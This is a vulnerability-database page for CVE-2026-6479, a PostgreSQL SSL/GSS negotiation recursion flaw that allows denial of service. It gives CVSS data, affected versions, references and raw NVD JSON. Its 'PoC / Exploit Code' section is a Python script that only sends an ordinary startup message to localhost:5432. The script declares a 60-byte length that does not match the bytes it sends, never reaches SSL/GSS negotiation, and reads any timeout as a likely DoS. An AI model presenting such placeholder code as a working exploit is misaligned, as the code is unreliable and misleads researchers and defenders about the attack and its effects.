CVE-2026-6479

Description

Uncontrolled recursion in PostgreSQL SSL and GSS negotiation allows an attacker able to connect to a PostgreSQL AF_UNIX socket to achieve sustained denial of service. If SSL and GSS are both disabled, an attacker can do the same via access to a PostgreSQL TCP socket. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

PostgreSQL < 18.4

PostgreSQL < 17.10

PostgreSQL < 16.14

PostgreSQL < 15.18

PostgreSQL < 14.23

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import sys

# Conceptual Proof of Concept for CVE-2026-6479
# This script demonstrates the connection vector.
# Actual exploitation requires specific packet manipulation during SSL/GSS negotiation.

TARGET_HOST = "127.0.0.1"
TARGET_PORT = 5432

def send_malicious_request():
    print(f"[*] Attempting to connect to {TARGET_HOST}:{TARGET_PORT}...")
    
    try:
        # Create a TCP socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        
        # Connect to the PostgreSQL server
        s.connect((TARGET_HOST, TARGET_PORT))
        print("[+] Connection established.")
        
        # In a real exploit, specific bytes triggering the recursion
        # in the SSL/GSS negotiation layer would be sent here.
        # For example, sending a StartupMessage with conflicting parameters.
        
        # Sending a generic startup message to initiate negotiation
        # Length: 60 bytes, Protocol: 3.0 (196608)
        payload = b"\x00\x00\x00\x3c\x00\x03\x00\x00"
        payload += b"user\x00postgres\x00database\x00postgres\x00\x00"
        
        s.send(payload)
        print("[+] Payload sent. Check if the service crashes.")
        
        # Receive response (optional, might hang if DoS is successful)
        response = s.recv(1024)
        print(f"[+] Received response: {response}")
        
        s.close()
        
    except socket.timeout:
        print("[!] Connection timed out. Possible Denial of Service triggered.")
    except ConnectionRefusedError:
        print("[-] Connection refused. Service may already be down.")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    send_malicious_request()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6479
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6479
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6479/
[4] VulDB https://vuldb.com/cve/CVE-2026-6479
[5] https://www.postgresql.org/support/security/CVE-2026-6479/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6479", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2026-05-14T14:16:25.583", "lastModified": "2026-05-14T16:21:23.190", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled recursion in PostgreSQL SSL and GSS negotiation allows an attacker able to connect to a PostgreSQL AF_UNIX socket to achieve sustained denial of service.  If SSL and GSS are both disabled, an attacker can do the same via access to a PostgreSQL TCP socket.  Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-674"}]}], "references": [{"url": "https://www.postgresql.org/support/security/CVE-2026-6479/", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}